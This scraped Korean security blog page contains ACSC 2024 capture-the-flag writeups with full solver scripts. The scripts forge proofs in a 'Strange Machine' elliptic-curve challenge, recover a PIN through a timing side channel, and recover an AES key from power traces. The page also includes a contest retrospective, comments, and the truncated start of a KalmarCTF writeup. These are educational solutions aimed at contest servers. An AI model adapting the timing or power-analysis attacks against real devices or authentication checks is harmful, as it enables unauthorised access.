       * add (a, b, result) to MUL_TABLE
     * It is possible to choose a, b, quotient, result such that (a * b -
       result) % p != 0
   * case 3
     * (x1, y1), (x2, y2) are in REGISTERED_EC
     * Use input lam for point addition
     * Check each parameters are in SUB_TABLE, MUL_TABLE

In the case whi = 2, strategically input strange values to lead to the desired
point.

To control to the desired value, it might be easier to move onto y^2 = x^3.

 

I used point (x,y) which y2≡x3+7(modp) and (y+k)2≡x3(modp)

 


EXPLOIT CODE

from pwn import *
import hashlib

#r = process(["sage", "task.sage"])
r = remote("strange-machine.chal.2024.ctf.acsc.asia", "17777")

bn254 = 21888242871839275222246405745257275088696311157297823662689037894645226208583
p = 0xFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFEFFFFFC2F

def inp(nums):
    for num in nums:
       r.sendline(str(num).encode())

def SUB_auto(a, b):
    k = a - b + p
    SUB(a, b, k // p, k % p)

def MUL_auto(a, b, fix = 0):
    k = a * b + fix * bn254 * 2^256
    MUL(a, b, k // p, k % p)

def SUB(a, b, quotient, result):
    inp([1, a, b, quotient, result])

def MUL(a, b, quotient, result):
    inp([2, a, b, quotient, result])

def double_setting(x1, y1, x2, y2):
    x_sq = x1 * x1 % p
    x_sq_3 = x_sq * 3 % p
    y_2 = y1 * 2 % p
    y_2_inv = ZZ(pow(y_2, -1, p))
    lam = x_sq_3 * y_2_inv % p
    MUL_auto(x1, x1)
    MUL_auto(x_sq, 3)
    MUL_auto(y1, 2)
    MUL_auto(y_2, y_2_inv)
    MUL_auto(x_sq_3, y_2_inv)
    return lam

def ndouble_setting(x1, y1, x2, y2):
    y_diff = (y2 - y1) % p
    x_diff = (x2 - x1) % p
    x_diff_inv = ZZ(pow(x_diff, -1, p))
    lam = y_diff * x_diff_inv % p
    SUB_auto(y2, y1)
    SUB_auto(x2, x1)
    MUL_auto(x_diff, x_diff_inv)
    MUL_auto(y_diff, x_diff_inv)
    return lam

def add_setting(x1, y1, x2, y2, fix = 0):
    if x1 == x2 and y1 == y2:
        lam = double_setting(x1, y1, x2, y2)
    else:
        lam = ndouble_setting(x1, y1, x2, y2)
    lam_sq = lam * lam % p
    lam_sq_minus_x1 = (lam_sq - x1) % p
    x_final = (lam_sq_minus_x1 - x2) % p
    x1_minus_x_final = (x1 - x_final) % p
    lam_mul_x1_minus_x_final = (lam * x1_minus_x_final + fix * bn254 * 2^256) % p
    MUL_auto(lam, lam)
    SUB_auto(lam_sq, x1)
    SUB_auto(lam_sq_minus_x1, x2)
    SUB_auto(x1, x_final)
    MUL_auto(lam, x1_minus_x_final, fix)
    SUB_auto(lam_mul_x1_minus_x_final, y1)

def add_start(x1, y1, x2, y2, fix = 0):
    add_setting(x1, y1, x2, y2, fix)
    inp([3, x1, y1, x2, y2])
    if x1 == x2 and y1 == y2:
        x_sq = x1 * x1 % p
        x_sq_3 = x_sq * 3 % p
        y_2 = y1 * 2 % p
        y_2_inv = ZZ(pow(y_2, -1, p))
        lam = x_sq_3 * y_2_inv % p
        inp([lam, x_sq, x_sq_3, y_2, y_2_inv])
    else:
        y_diff = (y2 - y1) % p
        x_diff = (x2 - x1) % p
        x_diff_inv = ZZ(pow(x_diff, -1, p))
        lam = y_diff * x_diff_inv % p
        inp([lam, y_diff, x_diff, x_diff_inv])
    return lam

def add_auto(x1, y1, x2, y2, fix = 0):
    lam = add_start(x1, y1, x2, y2, fix)
    lam_sq = lam * lam % p
    lam_sq_minus_x1 = (lam_sq - x1) % p
    x_final = (lam_sq_minus_x1 - x2) % p
    x1_minus_x_final = (x1 - x_final) % p
    lam_mul_x1_minus_x_final = (lam * x1_minus_x_final + fix * bn254 * 2^256) % p
    y_final = (lam_mul_x1_minus_x_final - y1) % p
    inp([lam_sq, lam_sq_minus_x1, x_final, x1_minus_x_final, lam_mul_x1_minus_x_final, y_final])
    return (x_final, y_final)

fix = 1
diff = bn254 * 2^256 * fix % p
y = pow(-2 * diff, -1, p) * (diff^2 + 7)
x = (y^2 - 7).nth_root(3)
assert x ^ 3 + 7 == y ^ 2
assert x ^ 3 == (y + diff) ^ 2
C = EllipticCurve(GF(p), [0, 7])
G4 = C(x, y)
G = G4 * ZZ(pow(4, -1, C.order()))
assert G * 4 == G4
print("calc G done")

x_start, y_start = ZZ(G[0]), ZZ(G[1])
inp([x_start, y_start])
G2 = add_auto(x_start, y_start, x_start, y_start)
P = add_auto(G2[0], G2[1], G2[0], G2[1], fix = fix)
Px, Py = P
assert (Py^2 - Px^3) % p == 0
print("setting P done")

target = int.from_bytes(hashlib.sha256(str(x_start).encode() + b"#" + str(y_start).encode()).digest(), "big") % p 
target_t = 1 / GF(p)(target).nth_root(2)
P_t = Px * pow(Py, -1, p)
target_n = ZZ(target_t / P_t) 
print("target_n.nbits()", target_n.nbits())

Ps = [P]
from tqdm import trange
for i in trange(256):
    P_prev = Ps[-1]
    Ps.append(add_auto(P_prev[0], P_prev[1], P_prev[0], P_prev[1]))

T = P
target_n -= 1
for i in trange(256):
    if target_n & 1:
        T = add_auto(T[0], T[1], Ps[i][0], Ps[i][1])
    target_n >>= 1

r.sendline(b'4')
assert r.recvline() == b'PART 1 SOLVED!\n'



r.interactive()
r.close()

 


STRANGE MACHINE, PART2

#!/usr/bin/sage
import hashlib

def solve_part1():
    ...

def solve_part2():
    ...

solve_part1()
print("PART 1 SOLVED!")

solve_part2()
print("PART 2 SOLVED!")

flag = open("flag.txt", "r").read()
print(flag)

 

To obtain the flag, both parts of the problem must be successfully solved.

def solve_part2():
    ADD_TABLE = set() # contains (a, b, c) such that a + b == c (mod p)
    MUL_TABLE = set() # contains (a, b, c) such that a * b == c (mod p)

    # Curve25519
    p = (1 << 255) - 19 
    E = EllipticCurve(GF(p), [0, 486662, 0, 1, 0])
    G = E(GF(p)(9), GF(p)(43114425171068552920764898935933967039370386198203806730763910166200978582548))

    # Commit a set of NUM_POINTS points in Curve25519
    NUM_POINTS = 165
    commit = bytes.fromhex(input().strip())
    assert len(commit) == 32 * NUM_POINTS 

    # this is the target point on Curve25519
    target = int.from_bytes(hashlib.sha256(commit).digest(), "big") * G

    # Add tuples to ADD_TABLE and MUL_TABLE by submitting proofs
    count = 0
    while True:
        count += 1
        assert count < 20000
        whi = int(input())
        if whi == 1 or whi == 2:
            a = int(input())
            b = int(input())
            quotient = int(input())
            result = int(input())
            assert 0 <= a < (1 << 256)
            assert 0 <= b < (1 << 256)
            assert 0 <= quotient < (1 << 256)
            assert 0 <= result < (1 << 256)
            if whi == 1:
                assert (a + b - (quotient * p + result)) % (1 << 512) == 0
                ADD_TABLE.add((a, b, result))
            if whi == 2:
                assert (a * b - (quotient * p + result)) % (1 << 512) == 0
                MUL_TABLE.add((a, b, result))
        if whi == 3:
            break

    # submit a bitmask corresponding to a subset
    # the subset sum of the points you committed before must equal to the target point
    bmask = int(input())
    assert 0 <= bmask < (1 << NUM_POINTS)

    tot = 0 * G

    for i in range(NUM_POINTS):
        if ((bmask >> i) & 1) == 0: # the bitmask doesn't contain the i'th point, so skip
            continue 
        # the bitmask contains the i'th point
        # decompress the 32 bytes, with proof, to obtain a point on Curve25519
        x = int(input())
        y = int(input())
        top_value = int(input()) 
        x_sq = int(input())
        x_cube = int(input())
        x_sq_486662 = int(input())
        sum1 = int(input())
        sum2 = int(input())
        # x_sum is the x-coordinate encoded in the 32 byte compressed format
        x_sum = 0
        for j in range(32):
            x_sum += commit[i * 32 + j] * (256 ** j)
        x_sum &= ((1 << 255) - 1)
        # bit is the parity of the y-coordinate encoded in the 32 byte compressed format
        bit = (commit[i * 32 + 31] >> 7) & 1
        assert x == x_sum # check x matches the encoded x-coordinate
        assert 0 <= top_value < (1 << 255) 
        assert y == top_value * 2 + bit # check bit matches the parity of y
        assert (x, x, x_sq) in MUL_TABLE # check x_sq = x^2
        assert (x, x_sq, x_cube) in MUL_TABLE # check x_cube = x^3
        assert (x_sq, 486662, x_sq_486662) in MUL_TABLE # check x_sq_486662 = 486662 * x^2
        assert (x_cube, x_sq_486662, sum1) in ADD_TABLE # check sum1 = x^3 + 486662 * x^2
        assert (sum1, x, sum2) in ADD_TABLE # check sum2 = x^3 + 486662 * x^2 + x 
        assert (y, y, sum2) in MUL_TABLE # check y^2 = x^3 + 486662 * x^2 + x, so (x, y) is in Curve25519
        recovered_point = E(GF(p)(x), GF(p)(y)) 
        tot += recovered_point # add the recovered point to the subset sum

    assert tot == target # assert the subset sum matches the target point

 

 * Initial initialization phase:
   * SUB_TABLE: A set where a - b = c
   * MUL_TABLE: A set where a * b = c
     * Possible to initialize less than 20,000 times using whi
     * If 1, a - b + p == quotient * p + result mod 1<<512 is - added to
       SUB_TABLE
     * If 2, a * b == quotient * p + result mod 1<<512 is added to MUL_TABLE
     * Breaks on 3
   * Curve25519:
     * p = 2^255 - 19
     * E = Elliptic_curve(GF(p), [486662, 1])
     * G = E(9, ...)
   * NUM_POINTS = 165
   * commit = bytes.fromhex(input().strip())
   * len(commit) == 32 * NUM_POINTS
   * target = int.from_bytes(hashlib.sha256(commit).digest(), "big") * G
   * This is the current goal
   * bmask = int(input())
   * A bitmask to be used later, less than 2^165
 * Loop through NUM_POINTS (165 times):
   * Continue if bitmask is 0
   * Input x, y, top_value, x_sq, x_cube, x_sq_486662, sum1, sum2
   * Decompress coordinates: x_sum, bit = commit[i * 32: i * 32 + 32]
   * Assertions:
     * x == x_sum
     * y == top_value * _sage_const_2 + bit
       * Verifying y with bit
     * (x, x, x_sq) in MUL
     * (x, x_sq, x_cube) in MUL
     * (x_sq, _sage_const_486662, x_sq_486662) in MUL
     * (x_cube, x_sq_486662, sum1) in ADD
     * (sum1, x, sum2) in ADD
     * (y, y, sum2) in MUL
   * recovered_point = E(GF(p)(x), GF(p)(y))
   * tot += recovered_point
 * assert tot == target

The maximum values for a and b in the ADD_TABLE and MUL_TABLE are 2^256 - 1,

so they can be greater than p(=2^255 - 19).

This allows y to be inputted such that it varies modulo p, but keeps the same
parity.

 

Care must be taken with the assert (y, y, sum2) in MUL_TABLE, to ensure the
quotient does not exceed 2^256.

I addressed this issue by selecting a commit that avoids this problem.

 


EXPLOIT CODE

from pwn import *
import hashlib
import os

r = process(["sage", "task.sage"]) # doesn't work for original task.sage, since this is solver for part2 only
#r = remote("strange-machine.chal.2024.ctf.acsc.asia", "17777")

p = (1 << 255) - 19 
E = EllipticCurve(GF(p), [0, 486662, 0, 1, 0])
G = E(GF(p)(9), GF(p)(43114425171068552920764898935933967039370386198203806730763910166200978582548))
NUM_POINTS = 165

def inp(nums):
    for num in nums:
       r.sendline(str(num).encode())

def ADD_auto(a, b):
    k = a + b
    ADD(a, b, k // p, k % p)

def MUL_auto(a, b):
    k = a * b
    MUL(a, b, k // p, k % p)

def ADD(a, b, quotient, result):
    inp([1, a, b, quotient, result])

def MUL(a, b, quotient, result):
    inp([2, a, b, quotient, result])


def setting_point(x, y):
    x_sq = x * x % p
    x_cube = x * x_sq % p
    x_sq_486662 = x_sq * 486662 % p
    sum1 = (x_cube + x_sq_486662) % p
    sum2 = (sum1 + x) % p
    assert y * y % p == sum2
    MUL_auto(x, x)
    MUL_auto(x, x_sq)
    MUL_auto(x_sq, 486662)
    ADD_auto(x_cube, x_sq_486662)
    ADD_auto(sum1, x)
    #print(RR(y*y//p / 2^256))
    MUL_auto(y, y)

def setting_nG(n, bit):
    P = n * G
    x, y = ZZ(P[0]), ZZ(P[1])
    if y & 1 != bit:
        y += p
    assert n * G == E(GF(p)(x), GF(p)(y))
    setting_point(x, y)
    return (x, y)

def commit_nG(n):
    P = n * G
    x = int((n * G)[0]) 
    bit = (min(int((n * G)[1]), int((-n * G)[1])) + p) & 1
    return int(x | (bit << 255)).to_bytes(32, 'little'), bit


# build commit
bits = []
commit_base = b''
NUM_POINTS_REAL = 162
for n in [3 ^ i for i in range(NUM_POINTS_REAL)]:
    comm, bit = commit_nG(n)
    bits.append(bit)
    commit_base += comm
n =  (3 ^ NUM_POINTS_REAL - 1) // 2
P = n * G
x = int((n * G)[0]) 
bit = int((n * G)[1]) & 1
comm, bit = int(x | (bit << 255)).to_bytes(32, 'little'), bit
bits.append(bit)
commit_base += comm

while True:
    check = True
    commit = commit_base + b'\x1f\xfa7\x0fA;\xdb\r\xf8\xff\xa5\xf6E\xd0\xd5\x10\x92\xa9\xcc\x99\x1ftu\xb7\x06\xaa\xd9mnF\x88 \xf7\xf6\x05\xf0\xa0\xffR\xaf\x14\xa0\x84G\xb0\xdc\xd59\x93Q\x05q]\xb6\x9a\xebai\xc4\x91V\x00C\xb1'#os.urandom(32 * (NUM_POINTS - NUM_POINTS_REAL - 1))
    target_n = int.from_bytes(hashlib.sha256(commit).digest(), "big")
    back = target_n
    ans = (3 ^ NUM_POINTS_REAL - 1) // 2
    for i in range(NUM_POINTS_REAL):
        x = target_n % 3 - 1
        if x:
            y = ZZ((x * 3^i * G)[1])
            ans += x * 3^i
            if y & 1 != bits[i]:
                y += p
            if y * y > (p << 256):
                #print(i)
                check = False
                break
        target_n //= 3
    assert back == ans
    if check:
        #print(commit[-32 * (NUM_POINTS - NUM_POINTS_REAL - 1):])
        break

r.sendline(commit.hex().encode())
target_n = int.from_bytes(hashlib.sha256(commit).digest(), "big")
top_values = []
points = []
bitmask = 0
for i in range(NUM_POINTS_REAL):
    x = target_n % 3 - 1
    if x:
        bitmask |= 1 << i
        x, y = setting_nG(x * 3^i, bits[i])
        points.append((x, y))
        top_values.append(y // 2)
    else:
        points.append((0, 0))
        top_values.append(0)
    target_n //= 3
bitmask |= 1 << NUM_POINTS_REAL
x, y = setting_nG((3 ^ NUM_POINTS_REAL - 1) // 2, bits[-1])
points.append((x, y))
top_values.append(y // 2)

inp([3, bitmask])

for i in range(NUM_POINTS):
    if (bitmask >> i) & 1 == 0:
        continue
    x, y = points[i]
    P = E(GF(p)(x), GF(p)(y))
    top_value = top_values[i]
    x_sq = x^2 % p
    x_cube = x^3 % p
    x_sq_486662 = x_sq * 486662 % p
    sum1 = (x_cube + x_sq_486662) % p
    sum2 = (sum1 + x) % p
    inp([x, y, top_value, x_sq, x_cube, x_sq_486662, sum1, sum2])

print(int.from_bytes(hashlib.sha256(commit).digest(), "big") * G)
r.interactive()

 


HARDWARE


AN4LYZ3_1T

Open the specified file using Saleae Logic 2 software.

 

Then, add an Async Serial analyzer, setting the baud rate to 57600Hz with Even
parity.

 

Following these steps will allow you to retrieve the flag:
ACSC{b4by4n4lyz3r_548e8c80e}.


VAULT

int __cdecl main(int argc, const char **argv, const char **envp)
{
  int v3; // edx
  int result; // eax
  int i; // [rsp+8h] [rbp-8h]

  printart(argc, argv, envp);
  printf((unsigned int)"Enter your PIN: ", (_DWORD)argv, v3);
  fflush(stdout);
  if ( (unsigned int)read(0LL, input_1, 10LL) != 10 )
    return puts("Access Denied\n It didn't take me any time to verify that it's not the pin");
  delay();
  for ( i = 0; i <= 9; ++i )
  {
    if ( input_1[i] != (a02462837616402[175 * i] ^ (i + 1)) )
    {
      flag_0 = 0;
      return puts("Access Denied\n It didn't take me any time to verify that it's not the pin");
    }
    delay();
  }
  result = flag_0;
  if ( flag_0 )
    return printflag(input_1);
  return result;
}

__int64 delay()
{
  return usleep(100000LL);
}

 

chall takes a 10-byte input and sequentially compares it from the first byte.

If a mismatch is found, it exits the loop immediately.

 

Each iteration of the loop includes a 0.1sec delay,
so the total time consumed varies if the continuous matching characters from the
beginning are different.

 

This implies that by sequentially changing each character from the first and
measuring the time taken,
it is possible to deduce the correct PIN number by identifying at which
character the time delay increases.

 


EXPLOIT CODE

from pwn import *
import time
from tqdm import trange

r = remote("vault.chal.2024.ctf.acsc.asia", "9999")


def check_time(x):
    assert len(x) <= 10
    x = x + "0" * (10 - len(x))
    r.sendlineafter(b"$ ", b"./chall")
    r.sendlineafter(b"PIN: ", x.encode())
    st = time.time()
    r.recvline()
    return time.time() - st


ans = ""
for i in range(10):
    times = [0] * 10
    for digit in trange(10):
        times[digit] = check_time(ans + str(digit))
    digit = times.index(max(times))
    ans += str(digit)
    print(ans)

r.sendlineafter(b"$ ", b"./chall")
r.sendlineafter(b"PIN: ", ans.encode())
r.interactive()
r.close()
# PIN: 8574219362
# ACSC{b377er_d3L4y3d_7h4n_N3v3r_b42fd3d840948f3e}

 


PWR_TR4CE

I was able to solve the problem by referring to the link.

 

Simply put, the essence is to XOR the plaintext with candidate keys, pass this
through the S-box, and then analyze the correlation between the number of output
bits from the S-box and the trace.

 


EXPLOIT CODE

import numpy as np
from tqdm import trange

sbox=(
0x63,0x7c,0x77,0x7b,0xf2,0x6b,0x6f,0xc5,0x30,0x01,0x67,0x2b,0xfe,0xd7,0xab,0x76,
0xca,0x82,0xc9,0x7d,0xfa,0x59,0x47,0xf0,0xad,0xd4,0xa2,0xaf,0x9c,0xa4,0x72,0xc0,
0xb7,0xfd,0x93,0x26,0x36,0x3f,0xf7,0xcc,0x34,0xa5,0xe5,0xf1,0x71,0xd8,0x31,0x15,
0x04,0xc7,0x23,0xc3,0x18,0x96,0x05,0x9a,0x07,0x12,0x80,0xe2,0xeb,0x27,0xb2,0x75,
0x09,0x83,0x2c,0x1a,0x1b,0x6e,0x5a,0xa0,0x52,0x3b,0xd6,0xb3,0x29,0xe3,0x2f,0x84,
0x53,0xd1,0x00,0xed,0x20,0xfc,0xb1,0x5b,0x6a,0xcb,0xbe,0x39,0x4a,0x4c,0x58,0xcf,
0xd0,0xef,0xaa,0xfb,0x43,0x4d,0x33,0x85,0x45,0xf9,0x02,0x7f,0x50,0x3c,0x9f,0xa8,
0x51,0xa3,0x40,0x8f,0x92,0x9d,0x38,0xf5,0xbc,0xb6,0xda,0x21,0x10,0xff,0xf3,0xd2,
0xcd,0x0c,0x13,0xec,0x5f,0x97,0x44,0x17,0xc4,0xa7,0x7e,0x3d,0x64,0x5d,0x19,0x73,
0x60,0x81,0x4f,0xdc,0x22,0x2a,0x90,0x88,0x46,0xee,0xb8,0x14,0xde,0x5e,0x0b,0xdb,
0xe0,0x32,0x3a,0x0a,0x49,0x06,0x24,0x5c,0xc2,0xd3,0xac,0x62,0x91,0x95,0xe4,0x79,
0xe7,0xc8,0x37,0x6d,0x8d,0xd5,0x4e,0xa9,0x6c,0x56,0xf4,0xea,0x65,0x7a,0xae,0x08,
0xba,0x78,0x25,0x2e,0x1c,0xa6,0xb4,0xc6,0xe8,0xdd,0x74,0x1f,0x4b,0xbd,0x8b,0x8a,
0x70,0x3e,0xb5,0x66,0x48,0x03,0xf6,0x0e,0x61,0x35,0x57,0xb9,0x86,0xc1,0x1d,0x9e,
0xe1,0xf8,0x98,0x11,0x69,0xd9,0x8e,0x94,0x9b,0x1e,0x87,0xe9,0xce,0x55,0x28,0xdf,
0x8c,0xa1,0x89,0x0d,0xbf,0xe6,0x42,0x68,0x41,0x99,0x2d,0x0f,0xb0,0x54,0xbb,0x16)


def intermediate(pt, keyguess):
    return bin(sbox[pt ^ keyguess]).count("1")


traces = np.load("traces.npy")
pt = np.load("textins.npy")

numtraces = np.shape(traces)[0]
numpoint = np.shape(traces)[1]

meant = np.mean(traces, axis=0)
tdiffs = [traces[tnum] - meant for tnum in range(numtraces)]

key = []
for bnum in trange(16):
    maxcpa = [0] * 256
    for kguess in range(0, 256):
        hyp = [intermediate(pt[tnum][bnum], kguess) for tnum in range(numtraces)]

        meanh = np.mean(hyp)
        hdiffs = [hyp[tnum] - meanh for tnum in range(numtraces)]

        sumnum = np.sum(
            [hdiffs[tnum] * tdiffs[tnum] for tnum in range(numtraces)], axis=0
        )
        sumden1 = np.sum(
            [hdiffs[tnum] * hdiffs[tnum] for tnum in range(numtraces)], axis=0
        )
        sumden2 = np.sum(
            [tdiffs[tnum] * tdiffs[tnum] for tnum in range(numtraces)], axis=0
        )

        maxcpa[kguess] = max(abs(sumnum / np.sqrt(sumden1 * sumden2)))

    key.append(np.argmax(maxcpa))

key = bytes(key)
print(key)

좋아요공감
공유하기
URL 복사카카오톡 공유페이스북 공유엑스 공유
게시글 관리

구독하기ks의 잡다한 블로그


'CTF > WRITEUP' 카테고리의 다른 글

KalmarCTF 2024 writeup  (0) 2024.03.19 2024 Feb Space WAR (Crypto) writeup  (3)
2024.02.25 Space WAR 2023 writeup  (1) 2023.12.31

ks의 잡다한 블로그_ks 님의 블로그입니다.구독하기
댓글8
 * Sechack
   
   gosu
   
   2023. 12. 28. 01:02답글
   더보기
    * 신고
    * 링크복사
   
   비밀번호 입력입력하기
   * _ks
     
     sugo
     
     2024. 1. 1. 10:13답글
     더보기
      * 신고
      * 링크복사
     
     비밀번호 입력입력하기
 * diff
   
   :fan: 이에요
   
   2023. 12. 31. 21:10답글
   더보기
    * 수정
    * 삭제
    * 신고
    * 링크복사
   
   비밀번호 입력입력하기
   * _ks
     
     우와!!!! 새해 복 많이 받으세요!!!
     
     2024. 1. 1. 01:19답글
     더보기
      * 신고
      * 링크복사
     
     비밀번호 입력입력하기
 * gss1
   
   돈 많이 벌게 해주세요
   
   2023. 12. 31. 23:33답글
   더보기
    * 수정
    * 삭제
    * 신고
    * 링크복사
   
   비밀번호 입력입력하기
   * _ks
     
     좋은 문제 감사했습니다!!!! 새해 복 많이 받으세요!!!
     
     2024. 1. 1. 01:20답글
     더보기
      * 신고
      * 링크복사
     
     비밀번호 입력입력하기
 * sk_
   
   감사합니다
   
   2024. 1. 4. 00:16답글
   더보기
    * 수정
    * 삭제
    * 신고
    * 링크복사
   
   비밀번호 입력입력하기
   * _ks
     
     도플갱어ㄷㄷㄷ
     
     2024. 2. 25. 12:44답글
     더보기
      * 신고
      * 링크복사
     
     비밀번호 입력입력하기

비밀글등록


ACSC 2024 QUALS 후기

_ks 2024. 3. 31. 20:32
2024. 3. 31. 20:32

솔직히 1등 할 작정으로 시작했다.
그게 오만함이었음을 깨닫는데는 긴 시간이 걸리진 않았지만...
 


아쉬웠던 점?

워낙 좋은 일만 넘쳤으니 우선 아쉬운거만 꼽아보면

 * 디코에서 좋아요를 누르면 채널 권한을 줬는데, 난 이미 눌렀는데도 못 받아서 대회 끝날때까지 몰랐다.
 * 리버싱 잡았던 문제들이 싹 다 분석문제라 & 다른게 할만해보여서 안봤는데, rbtree님이 출제한걸 놓쳐버렸다.
   
   * 죄송합니다 너무 정신이 없었습니다 upsolving하겠습니다아악
   * 순수 분석은 못하지만, 역산 비중이 높은 리버싱에 굉장히 강한 편이라 충분히 잡을 가치가 있었다..
   *  솔버수가 너무 적어서 쫄았었는데, 출제자라도 봤으면 바로 건드렸을텐데 너무 아쉬웠다.
 * 아쉬운건 아니고 웹 문제 하나를 시나리오는 맞춘 줄 알았는데 아예 틀렸던것 같다.

 


대회 후기

실적에 갈증이 매우 상당했던거에 비해 정작 쓸게 별로 없는것 같다.
 
1년 넘게 CTF에 미쳐있었지만 실적이 아예 없다시피 했고, 
이번 ACSC가 대회 자체도 나한테 매우 유리한 유형이었기에 매우 열심히 뛰었다 정도?
 
 
크립토 비중이 큰거나 개인전인거나 나한테 너무 유리한 조건이라 생각해서 본선행이 극정배라 생각했는데,
이번엔 크립토를 다 푸는것 만으로는 한참 부족했고 리버싱에서 점수를 못 번게 많이 치명적이었다.
 
크립토 첫 올솔은 나였지만 각 분야에서 1등을 뽑을때 동점은 시간이 아니라 총점을 우선시했기 때문에,
하드웨어에서 개뜬끔없이 400점 벌어둔게 아니었으면 꽤 위험했을거라 생각한다.
 
또 Jenga도 integral attack 자체를 알게된지 1달도 안되었기 때문에, 저번달 대회였으면 못 풀었을거라 생각한다.
 
 
대회는 24시간 내내 집에서 진행했다.
가족들이 신경써줘서 너무 고마웠고, 좋은 결과로 이어져서 너무 다행이다.
 
그리고 매번 느끼는 부분이긴 하지만 CyKor에서 정회원이 된게 해킹 외에도 나에게는 너무나도 큰 분기점이었고,
거기서 soon_haari랑 같이 공부하게 된게 정말 행운이었다고 생각한다.
 


문제 후기





 * 암호학  
   * Jenga(450pts)
     * First Blood!!
     * integral attack을 배운게 불과 3주 전이었으니, 많이 운이 좋았다.
     * 덕분에 공격 시나리오 완성까지는 1시간 안쪽으로 끝났다.
     * CUDA가 세팅이 안되어있어서, 세팅 + 코딩 트러블 슈팅하다 3시간을 넘게 날렸다.
   * Strange Machine(500pts)
     * First Blood!! 
     * 문제 풀면서 되게 아이디어가 되게 재밌다는 인상을 받았다.
     * Zkp를 아예 몰라서 더 그렇게 느꼈을지도?
     * 최근에 생긴 writeup을 쓰면서 푸는 습관이 매우 큰 도움이 됐다.
   * 그 외
     * Jenga를 풀고 나서 점수로 어그로 안끌려고 다른 분야 먼저 건드렸는데,
       나만 없는 디코에서 내가 퍼블인거 다 알고 있었다(...)
     * 대회 중에는 각 분야 1등을 선발하는게 동점이면 시간 우선인줄 알았다.
       때문에 Jenga가 2번째 솔버가 나오는걸 보자마자 허겁지겁 남은 Crypto 문제를 잡았다.
     * 올솔을 하자마자 풀 만한게 안 보여서 잠깐 자버렸는데, 일어나니 꽤 많이들 풀어서 무서웠다.
     * 어이없게도 RSA Stream2에서 약간 헤맸다. 기법이 아예 기억 안나서 걍 증명해서 풀었다.
 * 하드웨어
   * Vault(150pts)
     * 대회에서 본 문제들 중에서는 제일 쉬웠다고 생각한다.
   * PWR_Tr4ce(200pts)
     * trace가 가지는 논리적인 의미를 이해하지 못했지만, 구글링의 힘으로 풀어냈다.
   * 그 외
     * 리버싱에서 0점을 받은걸 전반적으로 여기서 메꾼 감이 없잖아 있다.
 * 그 외
   * Web - Login!(100pts)
     * 여기다 3시간 썼다... 풀기라도 해서 다행이다
   * Rev - Compyled(100pts)
     * 이거도 2시간은 잡았던걸로 기억한다.
     * pycdc를 쓰는 문제라는건 바로 눈치챘지만 오류를 끝까지 해결하지 못했다.
   * 웹 개발 관련 지식이 전무한 상태에서 웹 문제를 푸는건 너무 어려운것 같다.
     * 뭘 조금이라도 알기만 하면 금방 재미가 붙을것 같은데, 우선순위가 많이 밀린다.
   * 포너블, 바이너리 분석은 팀원들이 다 뚝딱 풀어주다보니 안보는게 습관이 되어버린거 같다.
     * 하고 싶은게 워낙 많아서 자꾸 우선순위에 밀리는거 같긴 하다.
     * 뭐했다고 벌써 4학년이지? 꺄아아아악
   * CTF에서는 가능하다면 무조건 문제를 싹 다 읽어보는게 옳은것 같다.

 
 

좋아요공감
공유하기

게시글 관리

구독하기ks의 잡다한 블로그


'CTF > 후기' 카테고리의 다른 글

2024 Feb Space WAR (Crypto) 후기  (3) 2024.02.25 N1CTF 2023 후기(뒷북)  (0) 2023.12.31
Dreamhack X-mas CTF 2023 후기  (8) 2023.12.27

ks의 잡다한 블로그_ks 님의 블로그입니다.구독하기
댓글8
 * Sechack
   
   gosu
   
   2023. 12. 28. 01:02답글
   더보기
    * 신고
    * 링크복사
   
   비밀번호 입력입력하기
   * _ks
     
     sugo
     
     2024. 1. 1. 10:13답글
     더보기
      * 신고
      * 링크복사
     
     비밀번호 입력입력하기
 * diff
   
   :fan: 이에요
   
   2023. 12. 31. 21:10답글
   더보기
    * 수정
    * 삭제
    * 신고
    * 링크복사
   
   비밀번호 입력입력하기
   * _ks
     
     우와!!!! 새해 복 많이 받으세요!!!
     
     2024. 1. 1. 01:19답글
     더보기
      * 신고
      * 링크복사
     
     비밀번호 입력입력하기
 * gss1
   
   돈 많이 벌게 해주세요
   
   2023. 12. 31. 23:33답글
   더보기
    * 수정
    * 삭제
    * 신고
    * 링크복사
   
   비밀번호 입력입력하기
   * _ks
     
     좋은 문제 감사했습니다!!!! 새해 복 많이 받으세요!!!
     
     2024. 1. 1. 01:20답글
     더보기
      * 신고
      * 링크복사
     
     비밀번호 입력입력하기
 * sk_
   
   감사합니다
   
   2024. 1. 4. 00:16답글
   더보기
    * 수정
    * 삭제
    * 신고
    * 링크복사
   
   비밀번호 입력입력하기
   * _ks
     
     도플갱어ㄷㄷㄷ
     
     2024. 2. 25. 12:44답글
     더보기
      * 신고
      * 링크복사
     
     비밀번호 입력입력하기

비밀글등록


KALMARCTF 2024 WRITEUP

_ks 2024. 3. 19. 18:18
2024. 3. 19. 18:18

rev, crypto, pwn을 모두 섞은 문제가 Symmetry 1~3의 제목으로 출제되었었고,

이 중 Symmetry 2,3 을 해결하였습니다.

crypto적인 지식이 필요하기보다는 pwn문제에 역산능력이 요구되는것에 가까웠습니다.


바이너리 분석

우선, Symmetry  2,3의 바이너리는 동일합니다.

void __fastcall __noreturn main(int a1, char **a2, char **a3)
{
  unsigned int block_cnt; // [rsp+Ch] [rbp-44h] BYREF
  unsigned int block_idx; // [rsp+10h] [rbp-40h]
  int i; // [rsp+14h] [rbp-3Ch]
  unsigned int j; // [rsp+18h] [rbp-38h]
  int k; // [rsp+1Ch] [rbp-34h]
  unsigned int m; // [rsp+20h] [rbp-30h]
  int n; // [rsp+24h] [rbp-2Ch]
  void *keys; // [rsp+28h] [rbp-28h]
  void *block_shift; // [rsp+30h] [rbp-20h]
  void *plaintext; // [rsp+38h] [rbp-18h]
  void *ciphertext; // [rsp+40h] [rbp-10h]
  unsigned __int64 v14; // [rsp+48h] [rbp-8h]

  v14 = __readfsqword(0x28u);
  setbuf(stdin, 0LL);
  setbuf(stdout, 0LL);
  puts("Welcome to the testing service for my new cryptosystem.");
  block_cnt = 0;
  while ( 1 )
  {
    printf("Number of blocks: ");
    __isoc99_scanf("%u", &block_cnt);
    if ( block_cnt <= 0x64 )
    {
      keys = calloc(block_cnt, 8uLL);
      block_shift = calloc(block_cnt, 0x10uLL);
      plaintext = calloc(block_cnt, 8uLL);
      ciphertext = calloc(block_cnt, 8uLL);
      for ( block_idx = 0; block_idx < block_cnt; ++block_idx )
      {
        printf("Please provide a key for block %u: ", block_idx);
        for ( i = 0; i <= 7; ++i )
